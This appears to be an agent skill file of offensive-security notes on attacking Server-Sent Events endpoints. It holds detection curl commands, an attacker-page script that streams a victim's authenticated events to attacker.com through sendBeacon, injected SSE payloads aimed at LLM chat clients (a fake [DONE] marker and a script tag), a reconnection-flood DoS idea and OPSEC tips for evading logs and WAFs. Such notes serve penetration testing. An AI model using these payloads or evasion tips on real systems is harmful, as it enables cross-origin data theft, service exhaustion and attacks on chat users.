- name
- api-server-sent-events
- description
- Server-Sent Events (SSE / EventSource) exploitation — origin abuse for cross-site streaming exfil, prompt-injection via SSE messages into LLM clients, retry-after token leak, fragmenting events to bypass content-type sniffers.
- allowed-tools
- Bash Read Write
- metadata
- {"when_to_use":"sse server-sent-events eventsource text/event-stream stream cross-origin retry id event","subdomain":"api","tags":"sse, eventsource, streaming","mitre_attack":"T1190, T1185"}
# Server-Sent Events (SSE) Attack Surface
SSE is one-way (server → browser) over HTTP/1.1 or HTTP/2 with `Content-Type: text/event-stream`. Used by LLM chat UIs, live dashboards, progress notifications, log streamers.
## Detect
```bash
curl -sk -i https://target/stream -H "Accept: text/event-stream" | head
# Look for: Content-Type: text/event-stream
# Body format:
# id: 42
# event: message
# data: {"foo":"bar"}
# (blank line ends one event)
```
## Top bug classes
### 1. Cross-Origin streaming exfil (SSE doesn't enforce CORS for `EventSource`)
`EventSource` honors the `Access-Control-Allow-Origin` header BUT many implementations forget to set it. If a server emits a CORS-permissive header for SSE, an attacker site can subscribe with the victim's cookies:
```html
<!-- attacker.com -->
<script>
const es = new EventSource("https://target/stream", { withCredentials: true });
es.onmessage = e => navigator.sendBeacon("https://attacker.com/x", e.data);
</script>
```
Often server's CORS config covers JSON endpoints but accidentally extends to SSE. Test by hitting from a third-party origin.
### 2. Prompt injection into LLM chat clients
Many LLM frontends consume SSE for streaming tokens. If the server doesn't sanitize, an attacker-controlled upstream can inject control tokens (`[DONE]`, special markers) that confuse the client:
```
data: {"choices":[{"delta":{"content":"\u0000[DONE]"}}]}
data: {"choices":[{"delta":{"content":"<script>alert(1)</script>"}}]}
```
### 3. Reconnection token leak via `Last-Event-ID`
SSE allows resuming via the `Last-Event-ID` header. If `id:` lines carry session-state tokens, those tokens are sent on every reconnect — visible in HTTP access logs and to network proxies even on TLS-terminated intermediaries.
```
id: jwt-here-encoded
event: message
data: ...
```
### 4. Retry timing DoS
Server sets `retry: 1000` on the wire. Attacker connects, instantly disconnects, repeats — server tracks reconnections in memory. Burst 10k clients → exhaustion.
### 5. Fragmenting events past content-type sniffers
A SSE stream with the first event being a JSON-shaped payload may be mis-classified by content-sniffers as JSON, enabling XSS in older IE/Edge. (Niche but appears in legacy integrations.)
## Tooling
```bash
# curl with --no-buffer for live view
curl -sk -N https://target/stream
# Python sseclient — programmatic
python3 -c '
import sseclient, requests
r = requests.get("https://target/stream", stream=True, headers={"Accept":"text/event-stream"})
for ev in sseclient.SSEClient(r).events():
print(ev.id, ev.event, ev.data)
'
# Burp: SSE traffic shows in Proxy → HTTP history but with "streaming" indicator;
# right-click → Send to Repeater works but won't display incremental events.
```
## OPSEC
- SSE connections appear as long-lived 200 OK in logs. Server-side per-connection auth is often weak — disconnect cleanly to avoid stranded connection alerts.
- WAFs typically don't inspect SSE bodies (they exit early on `Connection: keep-alive` + `text/event-stream`).
## References
- WHATWG HTML Living Standard — Server-Sent Events section
- "SSE Considered Harmful?" — Detectify research blog
- LLM-frontend security writeups by simonw.net (Simon Willison) — prompt-injection-via-stream patterns
在 GitHub 查看